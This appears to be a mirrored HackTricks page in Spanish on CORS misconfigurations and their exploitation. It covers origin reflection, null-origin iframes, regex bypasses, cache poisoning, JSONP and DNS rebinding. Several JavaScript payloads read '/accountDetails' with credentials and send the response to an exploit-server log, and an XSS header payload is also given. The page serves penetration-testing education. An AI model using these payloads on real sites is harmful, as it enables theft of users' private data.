mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 00:20:59 +00:00
368 lines
25 KiB
Markdown
368 lines
25 KiB
Markdown
|
# CORS - Configuraciones incorrectas y bypass
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* Consigue el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
|
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## ¿Qué es CORS?
|
||
|
|
||
|
El estándar CORS (Compartición de recursos de origen cruzado) es necesario porque **permite a los servidores especificar quién puede acceder a sus activos** y qué **métodos de solicitud HTTP están permitidos** desde recursos externos.
|
||
|
|
||
|
Una política de **mismo origen** requiere que tanto el **servidor que solicita** un recurso como el servidor donde se encuentra el **recurso** utilicen el mismo protocolo ([http://),nombre](http://\),nombre) de dominio (internal-web.com) y el mismo **puerto** (80). Entonces, si el servidor fuerza la política de mismo origen, solo las páginas web del mismo dominio y puerto podrán acceder a los recursos.
|
||
|
|
||
|
La siguiente tabla muestra cómo se aplicará la política de mismo origen en `http://normal-website.com/example/example.html`:
|
||
|
|
||
|
| URL accedida | ¿Acceso permitido? |
|
||
|
| ----------------------------------------- | ---------------------------------- |
|
||
|
| `http://normal-website.com/example/` | Sí: mismo esquema, dominio y puerto |
|
||
|
| `http://normal-website.com/example2/` | Sí: mismo esquema, dominio y puerto |
|
||
|
| `https://normal-website.com/example/` | No: esquema y puerto diferentes |
|
||
|
| `http://en.normal-website.com/example/` | No: dominio diferente |
|
||
|
| `http://www.normal-website.com/example/` | No: dominio diferente |
|
||
|
| `http://normal-website.com:8080/example/` | No: puerto diferente\* |
|
||
|
|
||
|
\*_Internet Explorer permitirá este acceso porque IE no tiene en cuenta el número de puerto al aplicar la política de mismo origen._
|
||
|
|
||
|
### Encabezado `Access-Control-Allow-Origin`
|
||
|
|
||
|
La especificación de `Access-Control-Allow-Origin` permite **múltiples orígenes**, o el valor **`null`**, o el comodín **`*`**. Sin embargo, **ningún navegador admite múltiples orígenes** y hay **restricciones** en el uso del comodín `*`. (_El comodín solo se puede usar solo, esto fallará `Access-Control-Allow-Origin: https://*.normal-website.com` y no se puede usar con_ _Access-Control-Allow-Credentials: true_)
|
||
|
|
||
|
Este encabezado es **devuelto por un servidor** cuando un sitio web solicita un recurso de otro dominio, con un encabezado `Origin` agregado por el navegador.
|
||
|
|
||
|
### Encabezado `Access-Control-Allow-Credentials`
|
||
|
|
||
|
El comportamiento **predeterminado** de las solicitudes de recursos de origen cruzado es que las **solicitudes** se **pasen sin credenciales** como cookies y el encabezado de autorización. Sin embargo, el servidor de origen cruzado puede **permitir la lectura** de la **respuesta** cuando se **pasan credenciales** al establecer el encabezado CORS **`Access-Control-Allow-Credentials`** en **`true`**.
|
||
|
|
||
|
Si el valor se establece en `true`, entonces el navegador enviará credenciales (cookies, encabezados de autorización o certificados de cliente TLS).
|
||
|
```javascript
|
||
|
var xhr = new XMLHttpRequest();
|
||
|
xhr.onreadystatechange = function() {
|
||
|
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||
|
console.log(xhr.responseText);
|
||
|
}
|
||
|
}
|
||
|
xhr.open('GET', 'http://example.com/', true);
|
||
|
xhr.withCredentials = true;
|
||
|
xhr.send(null);
|
||
|
```
|
||
|
|
||
|
```javascript
|
||
|
fetch(url, {
|
||
|
credentials: 'include'
|
||
|
})
|
||
|
```
|
||
|
|
||
|
```javascript
|
||
|
const xhr = new XMLHttpRequest();
|
||
|
xhr.open('POST', 'https://bar.other/resources/post-here/');
|
||
|
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
|
||
|
xhr.setRequestHeader('Content-Type', 'application/xml');
|
||
|
xhr.onreadystatechange = handler;
|
||
|
xhr.send('<person><name>Arun</name></person>');
|
||
|
```
|
||
|
### Solicitud de pre-vuelo
|
||
|
|
||
|
En ciertas circunstancias, cuando una solicitud de origen cruzado:
|
||
|
|
||
|
* incluye un **método HTTP no estándar (HEAD, GET, POST)**
|
||
|
* incluye nuevas **cabeceras**
|
||
|
* incluye un valor especial de **cabecera Content-Type**
|
||
|
|
||
|
{% hint style="info" %}
|
||
|
**Comprueba** [**en este enlace**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **las condiciones de una solicitud para evitar el envío de una solicitud de pre-vuelo**
|
||
|
{% endhint %}
|
||
|
|
||
|
la solicitud de origen cruzado es precedida por una **solicitud** utilizando el método **`OPTIONS`**, y el protocolo CORS requiere una verificación inicial de qué **métodos y cabeceras están permitidos antes de permitir la solicitud de origen cruzado**. Esto se llama **verificación de pre-vuelo**. El servidor **devuelve una lista de métodos permitidos** además del **origen de confianza** y el navegador verifica si el método solicitado por el sitio web solicitante está permitido.
|
||
|
|
||
|
{% hint style="danger" %}
|
||
|
Tenga en cuenta que **incluso si no se envía una solicitud de pre-vuelo** porque se respetan las condiciones de la "solicitud regular", la **respuesta debe tener las cabeceras de autorización** o el **navegador no podrá leer la respuesta** de la solicitud.
|
||
|
{% endhint %}
|
||
|
|
||
|
Por **ejemplo**, esta es una solicitud de pre-vuelo que busca **usar el método `PUT`** junto con una **cabecera de solicitud personalizada** llamada `Special-Request-Header`:
|
||
|
```
|
||
|
OPTIONS /data HTTP/1.1
|
||
|
Host: <some website>
|
||
|
...
|
||
|
Origin: https://normal-website.com
|
||
|
Access-Control-Request-Method: PUT
|
||
|
Access-Control-Request-Headers: Special-Request-Header
|
||
|
```
|
||
|
El servidor podría devolver una respuesta como la siguiente:
|
||
|
```
|
||
|
HTTP/1.1 204 No Content
|
||
|
...
|
||
|
Access-Control-Allow-Origin: https://normal-website.com
|
||
|
Access-Control-Allow-Methods: PUT, POST, OPTIONS
|
||
|
Access-Control-Allow-Headers: Special-Request-Header
|
||
|
Access-Control-Allow-Credentials: true
|
||
|
Access-Control-Max-Age: 240
|
||
|
```
|
||
|
* `Access-Control-Allow-Headers` Encabezados permitidos
|
||
|
* `Access-Control-Expose-Headers` Encabezados expuestos
|
||
|
* `Access-Control-Max-Age` Define un tiempo máximo para almacenar en caché la respuesta previa para su reutilización
|
||
|
* `Access-Control-Request-Headers` El encabezado que la solicitud de origen cruzado desea enviar
|
||
|
* `Access-Control-Request-Method` El método que la solicitud de origen cruzado desea utilizar
|
||
|
* `Origin` Origen de la solicitud de origen cruzado (establecido automáticamente por el navegador)
|
||
|
|
||
|
![](../.gitbook/assets/preflight.svg)
|
||
|
|
||
|
Tenga en cuenta que generalmente (dependiendo del tipo de contenido y los encabezados establecidos) en una solicitud **GET/POST no se envía una solicitud previa** (la solicitud se envía **directamente**), pero si desea acceder a los **encabezados/cuerpo de la respuesta**, debe contener un encabezado _Access-Control-Allow-Origin_ que lo permita.\
|
||
|
**Por lo tanto, CORS no protege contra CSRF (pero puede ser útil).**
|
||
|
|
||
|
### **Solicitud previa de red local**
|
||
|
|
||
|
Cuando se envía una solicitud a una dirección IP de red local, se envían 2 encabezados CORS adicionales:
|
||
|
|
||
|
* El encabezado de solicitud del cliente `Access-Control-Request-Local-Network` indica que la solicitud es una solicitud de red local
|
||
|
* El encabezado de respuesta del servidor `Access-Control-Allow-Local-Network` indica que un recurso se puede compartir de manera segura con redes externas
|
||
|
|
||
|
Una **respuesta válida que permita la solicitud de red local** también debe tener en la respuesta el encabezado `Access-Controls-Allow-Local_network: true`:
|
||
|
```
|
||
|
HTTP/1.1 200 OK
|
||
|
...
|
||
|
Access-Control-Allow-Origin: https://public.example.com
|
||
|
Access-Control-Allow-Methods: GET
|
||
|
Access-Control-Allow-Credentials: true
|
||
|
Access-Control-Allow-Local-Network: true
|
||
|
Content-Length: 0
|
||
|
...
|
||
|
```
|
||
|
{% hint style="warning" %}
|
||
|
Tenga en cuenta que la dirección IP de Linux **0.0.0.0** funciona para **burlar** estos requisitos para acceder a localhost, ya que esa dirección IP no se considera "local".
|
||
|
|
||
|
También es posible **burlar los requisitos de la red local** si se utiliza la **dirección IP pública de un punto final local** (como la dirección IP pública del enrutador). Debido a que en varias ocasiones, incluso si se accede a la **dirección IP pública**, si es **desde la red local**, se concederá el acceso.
|
||
|
|
||
|
|
||
|
{% endhint %}
|
||
|
|
||
|
## Configuraciones incorrectas explotables
|
||
|
|
||
|
Tenga en cuenta que la mayoría de los **ataques reales requieren que `Access-Control-Allow-Credentials`** se establezca en **`true`** porque esto permitirá al navegador enviar las credenciales y leer la respuesta. Sin credenciales, muchos ataques se vuelven irrelevantes; significa que no se pueden utilizar las cookies del usuario, por lo que a menudo no hay nada que ganar haciendo que su navegador emita la solicitud en lugar de emitirla usted mismo.
|
||
|
|
||
|
Una excepción notable es cuando la **ubicación de red de la víctima funciona como una especie de autenticación**. Puede utilizar el navegador de la víctima como proxy para burlar la autenticación basada en IP y acceder a aplicaciones de intranet. En términos de impacto, esto es similar al reenvío de DNS, pero mucho menos complicado de explotar.
|
||
|
|
||
|
### Reflejo de `Origin` en `Access-Control-Allow-Origin`
|
||
|
|
||
|
En el mundo real, esto no puede suceder ya que **estos 2 valores de los encabezados están prohibidos juntos**.\
|
||
|
También es cierto que muchos desarrolladores quieren **permitir varias URL en CORS**, pero los comodines de subdominio o las listas de URL no están permitidos. Entonces, varios desarrolladores **generan** el encabezado \*\*`Access-Control-Allow-Origin`\*\* **dinámicamente**, y en más de una ocasión simplemente **copian el valor del encabezado Origin**.
|
||
|
|
||
|
En ese caso, la **misma vulnerabilidad podría ser explotada**.
|
||
|
|
||
|
En otros casos, el desarrollador podría comprobar que el **dominio** (_victimdomain.com_) **aparece** en el encabezado **Origin**, entonces, un atacante puede utilizar un dominio llamado **`attackervictimdomain.com`** para robar la información confidencial.
|
||
|
```html
|
||
|
<script>
|
||
|
var req = new XMLHttpRequest();
|
||
|
req.onload = reqListener;
|
||
|
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
||
|
req.withCredentials = true;
|
||
|
req.send();
|
||
|
|
||
|
function reqListener() {
|
||
|
location='/log?key='+this.responseText;
|
||
|
};
|
||
|
</script>
|
||
|
```
|
||
|
### El Origen `null`
|
||
|
|
||
|
`null` es un valor especial para el encabezado **Origin**. La especificación menciona que se activa por redireccionamientos y archivos HTML locales. Algunas aplicaciones pueden incluir en su lista blanca el origen `null` para admitir el desarrollo local de la aplicación.\
|
||
|
Esto es interesante porque **varias aplicaciones permitirán este valor** dentro de CORS y cualquier **sitio web puede obtener fácilmente el origen nulo utilizando un iframe con sandbox**:
|
||
|
```html
|
||
|
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||
|
var req = new XMLHttpRequest();
|
||
|
req.onload = reqListener;
|
||
|
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||
|
req.withCredentials = true;
|
||
|
req.send();
|
||
|
function reqListener() {
|
||
|
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||
|
};
|
||
|
</script>"></iframe>
|
||
|
```
|
||
|
|
||
|
```html
|
||
|
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
|
||
|
var req = new XMLHttpRequest();
|
||
|
req.onload = reqListener;
|
||
|
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||
|
req.withCredentials = true;
|
||
|
req.send();
|
||
|
function reqListener() {
|
||
|
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||
|
};
|
||
|
</script>"></iframe>
|
||
|
```
|
||
|
### **Bypasses de Regexp**
|
||
|
|
||
|
Si encontraste que el dominio _victim.com_ está en la **lista blanca**, debes verificar si _victim.com.**attacker.com**_ también está en la **lista blanca**, o en caso de que puedas **tomar el control de algún subdominio**, verifica si _**somesubdomain**.victim.com_ está en la lista blanca.
|
||
|
|
||
|
### **Bypasses de Regexp Avanzados**
|
||
|
|
||
|
La mayoría de las expresiones regulares utilizadas para identificar el dominio dentro de la cadena se centrarán en caracteres alfanuméricos ASCII y `.-`. Entonces, algo como `victimdomain.com{.attacker.com` dentro del encabezado de origen será interpretado por la expresión regular como si el dominio fuera `victimdomain.com`, pero el navegador (en este caso Safari admite este carácter en el dominio) accederá al dominio `attacker.com`.
|
||
|
|
||
|
El carácter `_` (en subdominios) no solo es compatible con Safari, sino también con Chrome y Firefox.
|
||
|
|
||
|
**Entonces, utilizando uno de esos subdominios, podrías evitar algunas expresiones regulares "comunes" para encontrar el dominio principal de una URL.**
|
||
|
|
||
|
**Para obtener más información y configuraciones de este bypass, consulte:** [**https://www.corben.io/advanced-cors-techniques/**](https://www.corben.io/advanced-cors-techniques/) **y** [**https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397**](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
|
||
|
|
||
|
![](<../.gitbook/assets/image (153).png>)
|
||
|
|
||
|
### Desde XSS dentro de un subdominio
|
||
|
|
||
|
Un mecanismo defensivo que los desarrolladores utilizan contra la explotación de CORS es la lista blanca de dominios que solicitan acceso a la información con frecuencia. Sin embargo, esto no es completamente seguro, porque si incluso **uno** de los subdominios del dominio **en la lista blanca** es **vulnerable** a otros exploits como **XSS**, puede habilitar la explotación de CORS.
|
||
|
|
||
|
Consideremos un ejemplo, el siguiente código muestra la configuración que permite que los subdominios de _requester.com_ accedan a los recursos de _provider.com_.
|
||
|
```javascript
|
||
|
if ($_SERVER['HTTP_HOST'] == '*.requester.com')
|
||
|
{
|
||
|
//Access data
|
||
|
else{ // unauthorized access}
|
||
|
}
|
||
|
```
|
||
|
Suponiendo que un usuario tiene acceso a sub.requester.com pero no a requester.com, y suponiendo que `sub.requester.com` es vulnerable a XSS. El usuario puede explotar `provider.com` utilizando el método de ataque de scripting entre sitios.
|
||
|
|
||
|
### **Envenenamiento de caché del lado del servidor**
|
||
|
|
||
|
Si las estrellas se alinean, es posible que podamos usar el envenenamiento de caché del lado del servidor a través de la inyección de encabezado HTTP para crear una vulnerabilidad [XSS almacenada](https://portswigger.net/web-security/cross-site-scripting/stored).
|
||
|
|
||
|
Si una aplicación **refleja** el **encabezado de origen** sin siquiera verificarlo para detectar caracteres ilegales como `,` efectivamente tenemos una vulnerabilidad de inyección de encabezado HTTP contra los usuarios de IE/Edge, ya que Internet Explorer y Edge ven `\r` (0x0d) como un terminador de encabezado HTTP válido: `GET / HTTP/1.1`\
|
||
|
`Origin: z[0x0d]Content-Type: text/html; charset=UTF-7`
|
||
|
|
||
|
Internet Explorer ve la respuesta como:
|
||
|
|
||
|
`HTTP/1.1 200 OK`\
|
||
|
`Access-Control-Allow-Origin: z`\
|
||
|
`Content-Type: text/html; charset=UTF-7`
|
||
|
|
||
|
Esto no es directamente explotable porque no hay forma de que un atacante haga que el navegador web de alguien envíe un encabezado mal formado de esta manera, pero puedo **crear manualmente esta solicitud en Burp Suite y una caché del lado del servidor puede guardar la respuesta y servirla a otras personas**. La carga útil que he utilizado cambiará el conjunto de caracteres de la página a **UTF-7**, que es notoriamente útil para crear vulnerabilidades XSS.
|
||
|
|
||
|
### **Envenenamiento de caché del lado del cliente**
|
||
|
|
||
|
Es posible que ocasionalmente se encuentre con una página con [XSS reflejado](https://portswigger.net/web-security/cross-site-scripting/reflected) en un encabezado HTTP personalizado. Digamos que una página web refleja el contenido de un encabezado personalizado sin codificarlo:
|
||
|
```http
|
||
|
GET / HTTP/1.1
|
||
|
Host: example.com
|
||
|
X-User-id: <svg/onload=alert\(1\)>
|
||
|
|
||
|
HTTP/1.1 200 OK
|
||
|
Access-Control-Allow-Origin: \*
|
||
|
Access-Control-Allow-Headers: X-User-id
|
||
|
Content-Type: text/html
|
||
|
...
|
||
|
Invalid user: <svg/onload=alert\(1\)>\
|
||
|
```
|
||
|
Con CORS, podemos enviar cualquier valor en el encabezado. Por sí solo, eso es inútil ya que la respuesta que contiene nuestro JavaScript inyectado no se renderizará. Sin embargo, si no se ha especificado "Vary: Origin", la respuesta puede almacenarse en la caché del navegador y mostrarse directamente cuando el navegador navega a la URL asociada. He creado un fiddle para [intentar este ataque en una URL de su elección](https://jsfiddle.net/3gk8u8wu/3/). Dado que este ataque utiliza el almacenamiento en caché del lado del cliente, es bastante confiable.
|
||
|
```markup
|
||
|
<script>
|
||
|
function gotcha() { location=url }
|
||
|
var req = new XMLHttpRequest();
|
||
|
url = 'https://example.com/'; // beware of mixed content blocking when targeting HTTP sites
|
||
|
req.onload = gotcha;
|
||
|
req.open('get', url, true);
|
||
|
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
|
||
|
req.send();
|
||
|
</script>
|
||
|
```
|
||
|
## Bypass
|
||
|
|
||
|
### XSSI (Inclusión de Script entre Sitios) / JSONP
|
||
|
|
||
|
XSSI designa un tipo de vulnerabilidad que explota el hecho de que, cuando se incluye un recurso usando la etiqueta `script`, la política de mismo origen (SOP) no se aplica, porque los scripts deben poder ser incluidos entre dominios. Un atacante puede leer todo lo que se incluyó usando la etiqueta `script`.
|
||
|
|
||
|
Esto es especialmente interesante cuando se trata de JavaScript dinámico o JSONP, cuando se utiliza información de autoridad ambiental como las cookies para la autenticación. Las cookies se incluyen al solicitar un recurso desde un host diferente. Plugin de BurpSuite: [https://github.com/kapytein/jsonp](https://github.com/kapytein/jsonp)
|
||
|
|
||
|
[**Lea más sobre los diferentes tipos de XSSI y cómo explotarlos aquí.**](xssi-cross-site-script-inclusion.md)
|
||
|
|
||
|
Intente agregar un **parámetro de callback** en la solicitud. Tal vez la página fue preparada para enviar los datos como JSONP. En ese caso, la página enviará los datos de vuelta con `Content-Type: application/javascript`, lo que evitará la política CORS.
|
||
|
|
||
|
![](<../.gitbook/assets/image (229).png>)
|
||
|
|
||
|
### Bypass fácil (¿inútil?)
|
||
|
|
||
|
Puede pedir a una aplicación web que haga una solicitud por usted y envíe la respuesta de vuelta. Esto evitará el **`Access-Control-Allow-Origin`**, pero tenga en cuenta que las **credenciales del último objetivo no se enviarán** ya que estará **contactando un dominio diferente** (el que hará la solicitud por usted).
|
||
|
|
||
|
[**CORS-escape**](https://github.com/shalvah/cors-escape)
|
||
|
|
||
|
CORS-escape proporciona un **proxy** que **pasa** nuestra **solicitud** junto con sus **encabezados**, y también **finge** el encabezado **Origin** (Origen = **dominio solicitado**). Por lo tanto, se evita la **política CORS**.\
|
||
|
El código fuente está [en Github](https://github.com/shalvah/cors-escape), por lo que puede **alojar el suyo propio**.
|
||
|
```javascript
|
||
|
xhr.open("GET", "https://cors-escape.herokuapp.com/https://maximum.blog/@shalvah/posts");
|
||
|
```
|
||
|
[**simple-cors-escape**](https://github.com/shalvah/simple-cors-escape)
|
||
|
|
||
|
El proxy es como "pasar" tu solicitud, exactamente como la enviaste. Podríamos resolver esto de una manera alternativa que aún involucra que alguien más haga la solicitud por ti, pero esta vez, **en lugar de pasar tu solicitud, el servidor hace su propia solicitud, pero con los parámetros que especificaste.**
|
||
|
|
||
|
### Bypass de Iframe + Popup
|
||
|
|
||
|
Puedes **burlar las comprobaciones CORS** como `e.origin === window.origin` **creando un iframe** y **desde él abriendo una nueva ventana**. Más información en la siguiente página:
|
||
|
|
||
|
{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
|
||
|
[iframes-in-xss-and-csp.md](xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### Rebinding DNS a través de TTL
|
||
|
|
||
|
![](<../.gitbook/assets/image (108).png>)
|
||
|
|
||
|
Básicamente haces que la **víctima acceda a tu página**, luego cambias el **DNS de tu dominio (la IP)** y lo haces **apuntar** a la **página web de tu víctima**. Haces que tu **víctima ejecute** (**JS**) algo cuando el **TTL se acabe** para que se haga una nueva solicitud DNS y luego puedas recopilar la información (como siempre mantendrás al **usuario en tu dominio**, no enviará **ninguna cookie** al servidor de la víctima, por lo que esta opción **abusa de los privilegios especiales de la IP de la víctima**).
|
||
|
|
||
|
Incluso si estableces el **TTL muy bajo** (0 o 1), los **navegadores tienen una caché** que **evitará** que **abuses** de esto durante varios segundos/minutos.
|
||
|
|
||
|
Por lo tanto, esta técnica es útil para **burlar comprobaciones explícitas** (la víctima está **realizando explícitamente una solicitud DNS** para comprobar la IP del dominio y cuando se llama al bot, él hará la suya).
|
||
|
|
||
|
O cuando puedes tener un **usuario/bot en la misma página durante mucho tiempo** (para que puedas **esperar** hasta que **caduque la caché**).
|
||
|
|
||
|
Si necesitas algo rápido para abusar de esto, puedes usar un servicio como [https://lock.cmpxchg8b.com/rebinder.html](https://lock.cmpxchg8b.com/rebinder.html).
|
||
|
|
||
|
Si quieres ejecutar tu propio servidor de reenvío de DNS, puedes usar algo como [**DNSrebinder**](https://github.com/mogwailabs/DNSrebinder)**,** luego **exponer** tu **puerto local 53/udp**, crear un **registro A que apunte a él** (ns.example.com) y crear un **registro NS** que apunte al **subdominio A creado anteriormente** (ns.example.com).\
|
||
|
Entonces, cualquier subdominio de ese subdominio (ns.example.com) será resuelto por tu host.
|
||
|
|
||
|
También puedes revisar el **servidor que se ejecuta públicamente en** [**http://rebind.it/singularity.html**](http://rebind.it/singularity.html)
|
||
|
|
||
|
### Rebinding DNS a través de **Cache**
|
||
|
|
||
|
Como se explicó en la sección anterior, los **navegadores** tienen las IPs de los dominios **en caché durante más tiempo** que el especificado en el TTL. Sin embargo, hay otra forma de burlar esta defensa.
|
||
|
|
||
|
Puedes **crear 2 registros A** (o **1 con 2 IPs**, dependiendo del proveedor) para el **mismo subdominio** en el **proveedor DNS** y cuando un navegador los comprueba, obtendrá ambos.
|
||
|
|
||
|
Ahora, si el **navegador** decide **usar la dirección IP del atacante primero**, el **atacante** podrá **servir** la **carga útil** que **realizará solicitudes HTTP** al mismo **dominio**. Sin embargo, ahora que el atacante conoce la IP de la víctima, **dejará de responder al navegador de la víctima**.
|
||
|
|
||
|
Cuando el navegador encuentre que el **dominio no está respondiendo** a él, **usará la segunda IP dada**, por lo que accederá a un lugar diferente burlando SOP. El atacante puede abusar de eso para **obtener la información y exfiltrarla**.
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
Ten en cuenta que para acceder a localhost debes intentar reasignar **127.0.0.1** en Windows y **0.0.0.0** en Linux.\
|
||
|
Proveedores como Godaddy o Cloudflare no me permitieron usar la IP 0.0.0.0, pero AWS Route53 me permitió crear un registro A con 2 IPs siendo una de ellas "0.0.0.0"
|
||
|
|
||
|
<img src="../.gitbook/assets/image (638) (2) (1) (1) (1).png" alt="" data-size="original">
|
||
|
{% endhint %}
|
||
|
|
||
|
![](<../.gitbook/assets/image (620) (4).png>)
|
||
|
|
||
|
Para obtener más información, puedes revisar [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/)
|
||
|
|
||
|
### Otros Bypasses Comunes
|
||
|
|
||
|
* Si no se permiten **IP internas**, podrían **olvidar prohibir 0.0.0.0** (funciona en Linux y Mac)
|
||
|
* Si no se permiten **IP internas** como respuestas DNS, puedes responder **CNAMEs a servicios internos** como www.corporate.internal.
|
||
|
|
||
|
### Armas de Rebinding DNS
|
||
|
|
||
|
Puedes encontrar más información sobre las técnicas de bypass anteriores y cómo usar la siguiente herramienta en la charla [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||
|
|
||
|
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) es una herramienta para realizar ataques de [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding). Incluye los componentes necesarios para volver a asignar la dirección IP del nombre DNS del servidor de ataque a la dirección IP de la máquina objetivo y para servir cargas de ataque para explotar el software vulnerable en la máquina objetivo.
|
||
|
|
||
|
### Protección Real contra Rebinding DNS
|
||
|
|
||
|
* Usa TLS en servicios internos
|
||
|
* Solicita autenticación para acceder a los datos
|
||
|
* Valida el encabezado Host
|
||
|
* [https://wicg.github.io/private-network-access
|